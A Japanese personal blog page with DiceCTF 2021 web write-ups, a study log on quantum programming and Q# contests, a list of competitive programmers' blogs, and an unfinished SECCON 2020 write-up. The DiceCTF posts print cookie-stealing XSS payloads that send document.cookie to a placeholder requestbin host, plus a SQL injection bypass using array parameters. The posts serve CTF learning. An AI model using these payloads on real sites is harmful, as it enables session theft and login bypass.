はまやんはまやんはまやん

hamayanhamayan's blog

Web Utils [DiceCTF 2021]

XSSが必要になる。
XSSが成立しそうな所を探してみよう。

画面出力部分ではdocument.querySelector('div').textContent = data;のようにtextContentを使っているので攻めるのは難しそう。
他には…と探すと、view.htmlのif (type === 'link') return window.location = data;に行き着く。
ここなら行けそう。

typeがlinkとなるのは、Link Shortenerの方であるが、こちらの方はapi.jsの以下部分である。

  fastify.post('createLink', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      const regex = new RegExp('^https?://');

んー、window.locationならjavascript:を使いたいが、使えなさそうだ…
なんとかならないか…

  fastify.post('createPaste', {
    handler: (req, rep) => {
      const uid = database.generateUid(8);
      database.addData({ type: 'paste', ...req.body, uid });

Pastebinの方で使われているAPIが使えそうだ。
こちらならフィルタリングはないので、javascript:は使える。
怪しいのが...req.bodyの部分である。
普通はそう実装しないよなぁという部分に怪しさが垣間見える。

スプレッド構文 - JavaScript | MDN
こういう構文であり、pythonにもあったはず。
分解して引数に置き換えてくれる。
typeがpasteとなっているが、overrideできるんじゃないか?

{"data":"pastebin-body"}

こうなっているので、ここにtypeを入れて、攻撃コードを入れ込んでリクエストを送ってみる。

{"data":"javascript:document.location='https://[requestbin]com/test?cookie='+document.cookie", "type":"link"}

ちゃんとreturnが帰ってくる。

{"statusCode":200,"data":"[id]"}

これで/view/[id]を見てみると、ちゃんとtypeがlinkになっているっぽく、XSS達成できる。
あとは、URLを送ったらCapture the flag.
dice{f1r5t_u53ful_j4v45cr1pt_r3d1r3ct}

Missing Flavortext [DiceCTF 2021]

SQL Injectionっぽい。

app.post('/login', (req, res) => {
  if (!req.body.username || !req.body.password) {
    return res.redirect('/');
  }

  if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
    return res.redirect('/');
  }

  // see if user is in database
  const query = `SELECT id FROM users WHERE
    username = '${req.body.username}' AND
    password = '${req.body.password}'
  `;

SQLiを試そうとするが\でフィルタリングがかかっている。
これをバイパスして、かつ、SQL文に適切にインジェクションできないか。

配列攻撃

パラメタを配列化することで攻撃しよう。
password[]とすることでreq.body.passwordに配列を与えることができる。
これで、フィルタリング部分では文字列について含まれるかと判定されている所を配列について含まれるかの判定となり、バイパスできる。
あとは配列の要素が1つの場合はToStringしても内容は変わらないので、インジェクションコードを入れると攻撃完了。
username=admin&password[]='%20OR%20''%3d'

dice{sq1i_d03sn7_3v3n_3x1s7_4nym0r3}

Babier CSP [DiceCTF 2021]

CTFtime.org / DiceCTF 2021 / Babier CSP

ソースコードが与えられる。ソースコードをよく見てみると、以下のようになっている。

const crypto = require("crypto");
const NONCE = crypto.randomBytes(16).toString('base64');

nonceを使ったCSPのためにcryptoを使っているが、シードが変わっていないので、毎回同じnonceが使われることになる。

<script nonce=LRGWAXOY98Es0zz0QOVmag==>alert(1);</script>

これをnameに入れるとalertが出てきたので、cookieを送らせる。

<script nonce=LRGWAXOY98Es0zz0QOVmag==>document.location='https://[requestbin].com/test?cookie='+document.cookie</script>

これをURLエンコーディングしたものを渡すと、secretが取得できる。
secret=4b36b1b8e47f761263796b1defd80745
/4b36b1b8e47f761263796b1defd80745にアクセスするとフラグ
dice{web_1s_a_stat3_0f_grac3_857720}

2020年のうちに量子プログラミング入門しといた

2020年のうちに量子プログラミング入門しといた

年末ちょっとだけ時間ができたので、やろうやろうと思っていた量子プログラミングを入門しておいたので、その記録。
今年のAdvent Calenderの記事を雑に仕上げてしまったので、その埋め合わせになればと思います(この記事も雑ですが)。
目標はCodeforcesでやってるQ#コンテストのWarmupを解いて理解すること。
以下に色々書いているけど、だいぶ適当な記述になってる。気が向いたら直す。

読書記録

とりあえず、何も分からなかったので、本をかき集めて読んだ。
以下、読んだ順と個人的感想。

[1] 絵で見てわかる量子コンピュータの仕組み

最初に読んだ本だったが、とてもよかった。出てくるキーワードも丁寧に解説されており、予備知識なしで読めた。

[2] よくわかる最新 量子コンピュータの基本と仕組み

プロが書いた本じゃないので、記載内容に怪しい部分も散見される。
(間違っているというより、筆者の主観っぽいのが理由もなく書いてあるだけとか、そういったこと)。
だが、とても広い範囲について紹介されておりキーワードが沢山出てくるので、辞書的な使い方ができる可能性がある。
色々なヒントや関連情報が得られるので、2冊目以降にいい。ここで得られた情報をもとに自分で調べること。
一本目に読むとキーワードだけ得られる(キーワードの意味や量子コンピュータの意味はわからない)。にしても、地力がある人にはお勧めしない。

[3] 量子コンピュータがわかる本

歴史的な観点と、数学的な観点を網羅している。
数学についてもちゃんと説明しているので高校数学レベルがあれば読める(読めるだけで理解できるかというと…)
理論を数式を見て追っていきたいけど、ガチなやつはきついなら最適な本。

[4] 驚異の量子コンピュータ

量子コンピュータの歴史、仕組み(概念的なレベル)、実情、これからについて書かれた本。
全体を通してとても読みやすく、説明も明快であるため、かなりわかりやすい。
最初に[1]を読んだが、[4]を読んでから[1]でも良かったかもしれない。
賢い人は文才にも富むのだろうか。

[5] シュレーディンガーの猫、量子コンピュータになる。

計算機の始まりから量子コンピュータの最新(といっても2013年の本だが)までを網羅した本。
情報の詰まり方がすごく、歴史をなぞるような本。
ただ、書いてある内容が結構難しく、かつ、計算機の始まりから量子コンピュータの最新までをなぞりながら、関連情報をこれまでかと詰め込んであるので、
簡潔に理解しようとする本ではないことに注意。

 
 
とりあえずここまで読んでCodeforcesのQ#コンテストWarmupをやった。
これだけ詰め込んでからやったら、割とすんなり入れた。
あと、読んでないけど、絶対読んだ方がよさそうな雰囲気を出している本
[6] 量子コンピューティング 基本アルゴリズムから量子機械学習まで

量子プログラミングのために

量子プログラミングをするにあたって特に理解が必要なことについて以下に箇条書きにしておく。
解説してるわけじゃないので、キーワードだけ、雰囲気だけ感じ取って。
あと、ぶっつけWarmup本番でも大丈夫そう。

量子コンピュータの種類

  • 実はいくつかあって、ちょっと違うから注意
  • 量子ゲート
    • Q#が対象としてるのはコレ。こっち側しかちゃんと勉強してない
  • 量子アニーリング

量子ビット、量子ゲート

  • ブロッホ球、ブラケット記法、量子ゲートとユニタリ計算
    • この辺が特に大事。Q#でも量子ゲートを通していくが、この辺が分かってないとイメージが全然わかない
  • 重ね合わせ状態と測定、量子もつれ
    • コード上に全く表れてこないので、別途ちゃんと勉強しないと全然分からないと思う
    • 雰囲気でしか理解してないが、最重要知識の1つ
  • 可逆計算
    • 結構大事な考え方だと思う

Q#

  • QuantumKatasという公式の学習教材があるので、これをちゃんとやるといいと思う(俺はやってない)
  • あまりなじみのない記法
    • UnitはVoidのこと
    • Adj+Ctlはoperationに対して属性を付けているイメージ
      • Adj: 逆演算(逆演算という言葉の正確性は自信がない)が可能である
      • Ctl: 制御ビットによる制御が可能
    • 内部状態のダンプをいくつかの方法で行える
      • DumpMachine, DumpRegisterで量子ビットの内容をダンプできる
      • ここのDumpUnitaryToFilesを使えば、operationを行列で表現したときの係数が得られる

Microsoft Q# Coding Contest

Codeforcesで開催されている。Warmupと本戦とがあるが、Warmupだけやった。
2020WarmupのDは、すこし面倒でやってない…
以下にACコードがあります。
qsharp-contests/QSharpContests at master · hamayanhamayan/qsharp-contests

Microsoft Q# Coding Contest - Summer 2018 - Warmup - Codeforces

  • A: 重ね合わせ状態として|+>と|->を作成する問題
    • |+>は|0>にHゲートを通せばいい
    • |->は|1>にHゲートを通せばいい。|1>は|0>にXゲートを通せば作れる
  • B: 4つのベル状態を作成する問題
    • [parity] 2005.02 keyword
      • 量子もつれ状態にあるビットは独立に考えるよりもまとめて考えてしまう方が自然であるため、量子もつれ状態になっているビットを一様にまとめたベル状態が考案されている
    • |Φ+> = 00と11の重ね合わせ状態 (|00> + |11>)/sqrt(2)
    • 以下3状態は、|->を作ったり、Xゲートで適当にひっくり返せば作れる
      • |Φ-> = 00と11の重ね合わせ状態 (|00> - |11>)/sqrt(2)
      • |ψ+> = 01と10の重ね合わせ状態 (|00> + |11>)/sqrt(2)
      • |ψ-> = 01と10の重ね合わせ状態 (|01> - |10>)/sqrt(2)
  • C: NビットのGHZ(:Greenberget-Horne-Zeilinger)状態を作成する
    • N=1のときは|+>、N=2のときは|Φ+>と同等になる
    • |Φ+>の作り方が分かっていればそれほど難しくない。どちらかというとQ#でのループの書き方の方が問題
  • D: |+>か|->が与えられるので、どっちが与えられたかを判断せよ
    • 測定してしまうと確率的に状況が確定してしまうので良くない
    • 測定前に適切に量子ゲートを通して、測定した結果を一意にすることで判断していく
    • 作り方を考えてみると、Hゲートを通せば|0>か|1>かになるので、測定してやればどちらであるかが分かる
  • E: ベル状態が与えられるので、どのベル状態であるかを判断せよ
    • 問題BでHゲートとCNOTゲートを使ったので、とりあえずをそれを逆順で噛ませてみる。
    • それで内部状態を見てみると、1つの状況に100%になっている
    • もうこれで測定した結果を出力すれば良い
  • F: ビット列の状態が2通り与えられるので、現在与えられてる量子ビットがどっちの状態であるかを答えよ
    • 量子ビットを測定して、その結果がどっちであるかを判定すればいい
  • G: k番目の量子ビットを抜き出す量子オラクルを作成せよ
    • yにx[k]を代入する関数f(x, y, k)を作る問題
      • 一般的なプログラミングでは代入するだけ問題のように見えるが、量子状態を単純にコピーすることはできない
      • 量子複製不可能定理
        • ここで持ってくるのが適切かは分かってない。
    • Quantum Oracle
      • Introduction to Quantum Oracles - Codeforces
      • 完全に理解したレベルまでにも達してないがとりあえずまとめる。上の英語を下に日本語でまとめる。あと、用語はがばがばだと思う。以下の文章は1%くらいの信用性しかない。
        • 入力と出力は量子計算では一定である必要があるが、関数としては入力N個で出力M個のようにN!=Mである場合もある
        • 量子(ゲート)計算であるユリタリ行列Oを持ってきたときに、f(x)=f(y)であったときにO|x>=O|y>であるが、倒置を使って消そうとするとOTO|x>!=OTO|y>となる。よってOのエルミート共役は無いが、オラクル内部は量子計算であるから可逆であるはずである。
        • これを解決するためM個の量子ビットを用意する
        • 後半は全然わかんねぇけど、とりあえず、Quantum Oracle的には、「入力変数+出力変数」を入力として、同様に出力させるような雰囲気と覚えた。
        • まあ、余剰ビットを用意することで上手い事やるんでしょう。どっかの本でもそんなもの見た気がする
    • 問題の意味 Implement a quantum oracle on N qubits witch implements a function f(x) = x_k
      • yにx[k]を代入せよという訳でもないのか、指定された条件の関数に対するquantum oracleと解釈すればいいのか?
        • 結果を満たすだけなら、SWAPでもしてやればいいと思ったが、これはWA
      • O(|x>×|y>) = |x>×|y xor f(x)>
      • これに照らし合わせると、×はベクトルをくっつけるイメージなので、後はxor部分
        • y xor f(x)ということは、y xor x[k]ということ。量子ゲートでxorはCNOTを使えばいいので、それを使えばいい
        • パッと見て量子複製不可能定理に反している気もするが、量子もつれが発生しているので大丈夫?(よくわからんね)
    • これのテストを書いてて思ったけど、Qubit型の比較関数がよくわからない
      • 量子状態の比較というのがそもそもナンセンスなのかもしれないけど、シミュレータ上で比較できそうな感じもする
      • using (q = Qubit()) { using (q2 = Qubit()) { q == q2 } }がfalseになる
      • q=qはtrueになる
      • 何か方法はありそうな気がするが…
      • CodeforcesのWA時のコンソール出力にはMicrosoft.Quantum.Intrinsic.Assertとあるので、QSharp上のUnitTestっぽい
  • H: 量子ビット列の1である個数 mod 2を答える量子オラクルを作成せよ
    • 単純にif文で測定して1ならX(y)とするループで答えたら誤答になった
    • なぜだろうと悩んでいたら可逆性を思い出す
      • if文を使ったら可逆的にするのが難しくなりそう
      • そもそも測定したら、可逆にはならんだろう
    • という訳で、測定とかif文とか使わない方法を考えてみると、パリティはXORすれば求まることを思い出す
      • CNOTはxorらしいので、全部CNOTすればOK
  • I: Deutsch-Jozsa algorithmを実装せよ
    • ドイチュ・ジョザのアルゴリズム(Deutsch-Jozsa algorithm)
      • 以下の2種類のどちらかであるオラクルが与えられるので、どっちの種類か判定せよ
      • constant: どんな入力であっても0か1を返す
      • balanced: 全ての入力できる状態について丁度半分については0を返し、もう半分については1を返す
      • かなり限定的な問題であるが、古典アルゴリズムよりも高速に動作する
    • アルゴリズム内容
      1. 初期状態
        • |x>|y> = |0>N|1> = |0...01>を用意する
      2. 全てのqubitにHゲートを適用する
        • H(|0...01>) = H(|0>N|1>) = H(|0>)N H(|1>) = |+>^N |->
      3. ラクルに通す
      4. もう一度すべてのqubitにHゲートを適用する
      5. 上位N桁に対してPauli Zを対角とする測定(普通の測定)をして、すべて|0>ならconstant、そうでないならbalanced
    • なぜそうなるかは全然理解していないのだけれど、実装するだけなら簡単

Microsoft Q# Coding Contest - Winter 2019 - Warmup - Codeforces

  • G1: AND演算をするオラクルを作成せよ
    • Controlled functorをサポートしている演算に対してControlledを付けることで、制御ビットで制御が可能になる
      • 具体的にはCNOT(x,y)はControlled X([x], y)のように書ける
      • 制御ビットを複数ビットにした場合はすべて1になれば、演算が実行される
    • よってANDで1になるのは全部1の場合になるので、入力をすべて制御ビットとして与えて、全部1ならXゲートを適用して反転すればいい
    • 実装テンプレを見るとadjoint autoが指定されている
    • adjointの設定はここにあるように、is Adjと書いてもいい
  • G2: OR演算をするオラクルを作成せよ
    • xを全部NOTしてANDしたら全部0なら1だし、それ以外なら0になる。ちょうど結果をNOTすればOR計算の結果と一致する
    • ここを見ると、ControllOnIntという便利なControlledもある
  • G3: 回文になっているビット列であるかを判定するオラクルを作成せよ
    • adjointであるが、計算用にビットを使用しても問題ないようだ
    • 回文の対応関係にある部分に対してXORをとると、同じなら0、そうでないなら1になる
    • あとは、全部0ならOKなので、全部のビットをXゲートでFlipしてからControlled Xゲートを通すと答えが得られる
    • usingで確保した後は量子ビットを0に戻す必要があるが、ResetAllはadjointの場合は使えない。逆計算をして0に戻しておこう
    • Palindrome checker oracle
      • 使えるプログラミング的な記法が紹介されている
  • U1: 以下条件を満たすunitaryを構築せよ
    • 条件
      • Nビットの量子ビットに対する(2Nを一辺とする)行列である
      • 問題文にあるように逆対角(日本語正しい?)が10-5以上で、それ以外が10-5未満である
    • 一番単純な、逆対角が1で他が0であるようなユリタリを考えてみる
      • 書き下してみると、ちょうど全てのビットに対するSWAP操作を行うユリタリ行列となっている
  • U2: 以下条件を満たすunitaryを構築せよ
    • 条件
      • Nビットの量子ビットに対する(2Nを一辺とする)行列である
      • 問題文にあるように2×2のEPS以上の係数がある部分が市松模様に配置されている
    • 小さい例から考えてみる
      • N=1
        • XX XXこれは全部一様になればいいからH(qs[0])でいい
        • んー、Hだけかければよさそう?
      • N=2
        • XX.. XX.. ..XX ..XXになればいい。00,01同士の遷移はある、10,11同士の遷移はある。だが、それ以外の遷移はない。よって2ビット目は変更無しだが、1ビット目については変更の可能性がある
        • H(qs[0]だけでいい
      • N=3
        • よくよく見ると、000,001,100,101間で遷移がある。010,011,110,111間で遷移がある。なので、2ビット目だけ変化がないみたい。
    • 2ビット目以外にHをかければ答え。
    • Chessboard unitary
      • さすが竹雄さんのサイトには、実験的な解法ではないちゃんとした解法が書かれている
  • U3: 以下条件を満たすunitaryを構築せよ
    • 条件
      • Nビットの量子ビットに対する(2Nを一辺とする)行列である
      • 問題文にあるように左上の領域は逆対角だけEPS以上で、右上と左下は全部EPS未満で、右下は全てEPS以上である
    • 条件が複雑で小さい例で考えるのがややこしいが考えてみる
      • N=1
      • N=2
        • .X.. X... ..XX ..XX
        • 00,01は相互変換、10,11は全部変換なので、2ビット目が0なら1ビット目はXゲートだし、2ビット目が1なら1ビット目はHゲート
        • もっと書くと、1ビット目をXゲートに通して、2ビット目が1なら1ビット目にHゲートを通すせば(CHゲート)よさそう

Microsoft Q# Coding Contest - Summer 2020 - Warmup - Codeforces

  • A1: 与えられたユニタリがIゲートかXゲートかを判定せよ
    • 量子ビットを1つ用意してユニタリに通して測定(普通にZ軸で測定)した結果を見れば分かる
  • A2: 与えられたユニタリがIゲートかZゲートかを判定せよ
    • |0>にZゲートをただ通しても変わらないので、工夫が必要
    • Hゲートをうまく使うことにしよう
      • |0>に対してHゲート→Iゲート→Hゲートをして測定すると|0>となる
      • |0>に対してHゲート→Zゲート→Hゲートをして測定すると|1>となる
  • A3: 与えられたユニタリがZゲートかSゲートかを判定せよ
    • ユニタリは丁度2回使う必要がある
    • Sゲートは位相を180度ずらすもの(要出典)
    • 今回は2回というのが特に怪しいので、Zゲートを2回、Sゲートを2回通したものを考えてみよう
      • 実はZ2=I, S2=Zとなる。これはユニタリ行列を実際に計算してみると分かる
    • これでA2に帰着できたので、あとはやるだけ
  • A4: 与えられたユニタリがI xor XかCNOTかを判定せよ
    • 1ビット目(判定ビット)が0であれば、I xor Xなら2ビット目はflipされるので測定したら1で、CNOTなら2ビット目はなにもしないので測定したら0になる
    • これで判定すればいい
  • A5: 与えられたユニタリがZか-Zかを判定せよ
    • -Zの意味合いが全く分からず、さっぱり分からなかった
    • Microsoft Q# Coding Contest – Summer 2020の復習(1) ユニタリーの識別 - 銀の光と碧い空
      • なるほど…というかなんというか…
      • |00>から1ビット目にHゲートを通すと、(|00>+|01>)/sqrt(2)になる
      • この状態で1ビット目を制御ビットとして2ビット目に対してControlledでユニタリを適用する
        • Controlled Zなら
          • |00>は|00>, |01>なら|01>になる
          • 結果は(|00>+|01>)/sqrt(2)
          • これにHゲートを更に通すと|00>
        • Controlled -Zなら
          • |00>は|00>, |01>なら-|01>になる
          • 結果は(|00>-|01>)/sqrt(2)
          • これにHゲートを更に通すと|01>
      • よってHゲート,Controlled unitary,Hゲートを通して1ビット目を測定すればどっちになるか分かる
    • Controlledのこのような使い方もあるのね…なるほど…
    • なんとなく行列とかで機械的に解けないもんだろうか
  • B1: インクリメントするオラクルを作成せよ
    • XゲートとControllを使えと書いてあるので、再帰しながら繰り上がりしていけばOK
    • LittleEndianの扱いが大変
  • B2: デクリメントするオラクルを作成せよ
    • B1をベースにして、繰り上がりを0の時に行うようにすればOK
  • C: (|01>+|10>+|11>)/sqrt(3)を作成せよ
    • 全然分からんし、問題制約でX,Y,Z,Hゲート(Controlled込み)と測定しか使っちゃダメか…
      • Hゲートでsqrt(2)が作れるのは分かるが、sqrt(3)は見たことないな
      • 試しにtatyamさんのSubmission #59576937 - Codeforcesを借りてきて改変したがダメ。Ryは使ってもいいって書いてないですよね…
    • Microsoft Q# Coding Contest – Summer 2020の復習(3) 状態の生成 - 銀の光と碧い空
      • 気持ちは分かる。00,01,10,11の重ね合わせ状態を作って、それを制御ビットにして、|0>の量子ビットにNOTゲートを通して測定したときに|0>になっていれば、制御ビットが00,01,10のどれかになっているはずなので、全体にXゲートを通せば11,10,01の重ね合わせになってるから答えであるということ
      • ancillaを測定したタイミングで量子もつれの関係で、ancillaの測定結果に沿った形でqsの量子状態が変化するのだろう
    • Microsoft Q# Coding Contest - Summer 2020 - Warmup - tutorial
      • ここも本質的にはやってることは変わらないが|00>を排除するようにControlledすることで一手減らしている
    • どちらも実装ではancillaと量子ビットに名前がついている。ふむ。Ancilla bit - Wikipedia
    • Q#にはrepeat構文というものが用意されているので、これを使って実装する
      • 「測定をすることで計算を進める」というのを何かの本で読んだ記憶があるが、このようにしてやるんだな…
  • D1,D2: 量子classificationをせよ。訓練データが与えられるので、学習をして、学習済みモデルを答える感じ
    • Microsoft Q# Coding Contest - Summer 2020 - Warmup - tutorial
      • 入力例をグラフ上で可視化してくれている。SVMとかで解けそうな感じ。
      • 学習させると、するとパラメタが出力されるので、それを使えば分類器が簡単に実装できますよということ。
    • 横着してやってない

まとめ

暇があれば、いつか本戦問題もやります。
量子プログラミングやってみた感想としては、かなりパズルっぽい感じですね。
競技プログラマーには適合性が高そうなので、皆さんも是非。

今年も界隈にはお世話になりました。(ほぼROM専で勝手にみてるだけ)
あと、会ったこともないのに書くのも恐れ多いのですが、rngさんこれまでお疲れさまでした。
今後も確実に活躍されると思うのでwatchしていきます。

来年もCTF比率が高くなりそうなのですが、来年もよろしくお願いいたします。
皆様、よいお年をお迎えください。

追記、というか自分用メモ

競技プログラマーのブログをまとめてみた

この記事は、Competitive Programming (1) Advent Calendar 2020 - Adventarの22日目の記事です。
前日はskyaozoraさんの10年間の競プロAdventCalenderの記事を振り返るです。

過去記事はこちらです。

Intro

皆さんこんにちは。hamayanhamayanです。
今年は色々なことがあり、競技プログラミングから少し離れることもありましたが、無事にAdvent Calendarを迎えることができました。
遅れてしまって界隈には申し訳ない…
今回のテーマはブログです。
競技プログラミングの強みは各個人の情報発信意識にあるかと思います。
競技プログラマーのブログを調べ上げてまとめてみましたので、どうぞご覧ください。

AtCoder日本人上位300人+αを対象にブログかQiitaで投稿があるかを調査した

結果はこんな感じです。
熱烈サーチしましたが、抜けてる可能性かなりあります…

ユーザー名 ブログorQiita
semiexp https://semiexp.net/blog/index.html
yosupo https://yosupo.hatenablog.com/
snuke https://snuke.hatenablog.com/
hos_lyric http://hos.ac/blog/
DEGwer http://degwer.hatenablog.com/
natsugiri https://natsugiri.hatenablog.com/
WA_TLE http://watle.hatenablog.com/
chokudai http://chokudai.hatenablog.com/
hogloid http://hogloid.hatenablog.com/
noshi91 https://noshi91.hatenablog.com/
sigma425 http://sigma425.hatenablog.com/
japlj https://japlj.hatenablog.com/
IH19980412 https://hir180.hateblo.jp/
tozangezan https://tozangezan.hatenablog.com/
E869120 https://qiita.com/e869120
asi1024 http://asi1024.hatenablog.com/
LayCurse http://rsujskf.s602.xrea.com/
latte0119 https://lattemalta.hatenablog.jp/
nuip http://nuip.hateblo.jp/
hitonanode https://rsm9.hatenablog.com/
sky58 https://topcoder-g-hatena-ne-jp.jag-icpc.org/skyaozora/
heno239 https://heno239.hatenablog.com/
beet https://beet-aizu.hatenablog.com/
maspy https://maspypy.com/
tatyam https://tatyam.hatenablog.com/
kobae964 https://koba-e964.hatenablog.com/
rickytheta http://r-th.hatenablog.com/
tempura0224 https://tempura0224.hatenablog.com/
ats5515 https://ats5515.hatenablog.com/
catupper http://catupper.hatenablog.com/
riantkb https://rian.hatenablog.jp/
satashun https://satashun.hatenablog.com/
camypaper https://camypaper.bitbucket.io/
sheyasutaka https://shojinbusoku.hatenablog.com/
kort0n https://kort0n.hatenablog.com/
anta https://anta1.hatenadiary.org/
kmjp https://kmjp.hatenablog.jp/
kotatsugame https://kotatsugame.hatenablog.com/
betrue12 https://betrue12.hateblo.jp/
Lepton http://lepton.hatenablog.jp/
noimi https://noimin.hatenablog.com/
smiken http://smiken.hatenablog.com/
mtsd https://mtsd-programming.hatenablog.com/
olphe https://olphe.hatenablog.com/
PIandS https://pitsbuffersolution.com/
ir5 http://ir5.hatenablog.com/
square1001 https://qiita.com/square1001
Rubikun https://rubikun.hatenablog.jp/
risujiroh https://risujiroh.hatenablog.com/
Tiramister https://tiramistercp.hatenablog.com/entry/abc185
ynymxiaolongbao http://segtree.hatenablog.com/
pekempey https://pekempey.hatenablog.com/
hitoare https://hitoare.hatenablog.com/
math https://math314.hatenadiary.org/
tomerun https://topcoder-tomerun.hatenablog.jp/
yamunaku https://yamunaku.hatenablog.com/
potetisensei https://potetisensei.hatenablog.com/
Nyaan https://nyaan.hatenablog.com/
kimiyuki https://kimiyuki.net/
dokin https://dokinac.hatenablog.com/
physics0523 https://physics0523.hatenablog.com/
kyopro_friends https://kyopro-friends.hatenablog.com/
tokoharu http://tokoharuland.hateblo.jp/
satanic0258 http://satanic0258.hatenablog.com/
Motsu_xe https://motsu-xe.hatenablog.com/
gasin http://gasin.hatenadiary.jp/
goodbaton http://goodbaton.hatenablog.com/
hamadu https://hamadu.net/
piroz95 http://piroz.hatenablog.com/
ei13333 https://ei1333.hateblo.jp/
Kiri8128 https://kiri8128.hatenablog.com/
drken https://drken1215.hatenablog.com/
enjapma https://enjapma.hatenablog.com/
akouryy http://akouryy.hatenablog.jp/
SPD_9X2 https://spd-9x2.hatenablog.com/
dohatsutsu http://dohatsutsu.hatenablog.com/
amylase https://pepsin-amylase.hatenablog.com/
not https://topcoder-g-hatena-ne-jp.jag-icpc.org/not522/,https://not522.hatenablog.com/
Hoi_koro http://hoikoro.hatenablog.com/
aajisaka https://aajisaka.hatenablog.com/
keymoon https://keymoon.hatenablog.com/
convexineq http://convexineq.hatenablog.com/
yaketake08 https://smijake3.hatenablog.com/
Trineutron https://qiita.com/trineutron
abc050 https://htnglsh.hatenablog.com/
maze1230 https://pazzle1230.hatenablog.com/
cinnamoroll https://cinnamo-coder.hatenablog.com/
MMNMM https://259-momone.hatenablog.com/
Shun_PI https://qiita.com/Shun_PI
hamayanhamayan https://www.hamayanhamayan.com/
packer_jp https://packer-jp.hatenadiary.jp/
drogskol https://drogskol.hatenablog.com/
tsutaj https://tsutaj.hatenablog.com/
ichyo https://blog.ichyo.jp/
ngtkana https://ngtkana.hatenablog.com/
kaage https://kaage.hatenablog.com/
treeone http://treeone.hatenablog.com/
eiya https://eiya5498513.hatenablog.jp/
kusano https://kusano-k.hatenablog.com/
Tallfall https://tallfall.hatenablog.com/
nagiss https://nagiss.hateblo.jp/
mayoko http://mayokoex.hatenablog.com/
Hec https://osrehun.hatenadiary.jp/
imulan https://imulan.hatenablog.jp/
natrium http://natrium.hatenablog.com/
hotman78 https://hotman78.hatenablog.com/
hakatashi https://hakatashi.hatenadiary.com/
habara_k https://habara-k.hatenadiary.jp/
m_tsubasa https://emtubasa.hateblo.jp/
knshnb https://blog.knshnb.com/
veqcc https://veqcc.hatenablog.jp/
Pro_ktmr https://qiita.com/Pro_ktmr
wata https://wata-orz.hatenablog.com/
nok0 https://tsuchi.hateblo.jp/
opt https://opt-cp.com/
paruki https://par.hateblo.jp/
iwashi31 https://iwashi31.hatenablog.com/
nebocco https://nebocco.hatenablog.com/
tanakh https://qiita.com/tanakh
Noimin https://noimin.hatenablog.com/
Luzhiled https://luzhiled.hatenablog.com/
prd_xxx https://prd-xxx.hateblo.jp/
kurenaif https://kurenaif.hatenablog.com/
kenkoooo https://kenkoooo.hatenablog.com/
iwiwi http://iwiwi.hatenablog.com/,http://iwiwi.hatenadiary.jp/archive/2013/12
miz56 https://kagamiz.hatenablog.com/
koyumeishi https://koyumeishi.hatenablog.com/
kyuridenamida http://kyuridenamida.hatenablog.com/
shindannin https://shindannin.hatenadiary.com/
rsk0315 https://rsk0315.github.io/links/
Ymgch_K https://kokiymgch.hatenablog.com/
minus9d https://minus9d.hatenablog.com/
trus711 https://torus711.hatenablog.com/
Suibaka https://suikaba.hatenablog.com/
naoya_t https://naoyat.hatenablog.jp/
hotpepsi https://topcoder-g-hatena-ne-jp.jag-icpc.org/firewood/
kuuso1 http://kuuso1.hatenablog.com/
ningenMe https://ningenme.hatenablog.com/

自分としてもとてもお世話になったブログばかりです。
これが界隈の厚み…

何が言いたいかというと…

上位300人 → 39%
上位200人 → 45%
上位100人 → 58%

これだけ見ると、上位ほどブログ書いてる!
みんな書こう!

Outro

考察ゼロのやるだけ記事になってしまいました。
最近はAtCoderの解説が超手厚くなっているので忘れがちですが、個人ブログで解説している方が沢山います。
YouTubeでの解説動画で大体は十分なのですが、別解や解説付きの実装例が見たいときに検索してみるといいです。
明日(といっても投稿日的には昨日ですが…)は、くるさんの競プロ駆動で開発している話。 - くるの競プロ記録です!

Milk [SECCON 2020 Online CTF]

Milk
Sadly not every developer is well posted in the cutting-edge technologies, so sometimes bizarre interface is driven under the hood.
https://milk.chal.seccon.jp/
milk.tar.gz
Update(2020/10/10 17:38): We disclosed a part of our crawler as a hint. crawl.js

調査

適当にログインユーザーを作ってログインしてみると、memoryが残せる機能が提供される。
適当に文字を入れてsubmitしてみると、/note/なんらかのIDに飛ばされてREPORT-TO-ADMINとなる。
ログイン情報はusernameとしてLocal Storageで保存されている。
とりあえず了解。

HTTPレスポンスを見てみる。
X-Powered-By: PHP/7.4.11

Cookie使ってないと思ったら、違うドメインCookie使われてた。

set-cookie: username=evilman2020; path=/; SameSite=None; Secure; httponly
set-cookie: username.sig=X4lZeL2gNWApCNPJqMhaW2whtR3UwFAVSsX6tw6pYQA; path=/; SameSite=None; Secure; httponly

ソースコード見てみる

nginx.conf

add_header Content-Security-Policy "default-src 'none'; base-uri 'none'; style-src * 'unsafe-inline'; font-src *; connect-src https://milk-api.chal.seccon.jp; script-src 'self' https://milk-api.chal.seccon.jp https://code.jquery.com/jquery-3.5.1.min.js 'sha256-xynbUFfxov/jB5OqYtvdEP/YBByczVOIsuEomUHxc0U=';" always;

adminに見せるサイトにはCSPがかかっている。

api/notes.ts

router.get('/flag', async (ctx) => {

ここへ誘導して、出力を受け取ればいいらしい。
適当な所でawait api('/notes/flag');してみると、403エラーになる。OK

XSSを試すが、どこでも何もしていない。
でもやってみるとhtmlが発火しない。
よくわからない。
document.getElementById('body').textContent = data.note.body;
jsのこの段階のdata.note.bodyにもタグがそのまま入っている。

Node.textContent - Web API | MDN

そうなのか、textContentを使えばHTMLとして解析されないのか。
ほほう。
適当に<s>test</s>という名前のユーザーを作ってみたが、これもダメ。
んー、どう見ても怪しいLocalStorageを使うんだろうなぁとは思うが…

そもそも、/notes/flagを参照しようにも、トークンが無いからトークン用意から何とかしてやらんといかんな…

Writeups

やっと理解できた…
ちゃんと試すべきなんだけど、試すのめんどいな…

CSRFトークンを奪う

以下の流れで攻撃を行う。

  1. adminにCSRFトークン発行URLを踏ませる
  2. 手順1で踏ませたCSRFトークンを取得して、それを使って/notes/flagを読み取る

「手順1で踏ませたCSRFトークンを取得」の部分だが、これはAPIについてはキャッシュが効いているので、それを利用する。
つまり、adminに踏ませた全く同じURLを再度こちらでも呼べば、同じCSRFトークンが得られる事になる。
手順を細分化しよう。

  1. adminにCSRFトークン発行URLを踏ませる
  2. 手順1で踏ませたURLを再度リクエストして、キャッシュされたCSRFトークンを取得する
  3. 取得したCSRFトークンを使って/notes/flagを読み取る

手順1について

手順1であるが、https://milk-api.chal.seccon.jp/csrf-token?_=XXXXXXXXXXXXXのようなURLを踏ませれば良さそう。
試しに自分で踏んでみると、Referer header is not setと言われてしまう。
誰に止められているんだろうか。

index.tsにバリデーションがあった。
なるほど、これか。
Refererの偽装はできないので、何とかならないか…

// Referer validation
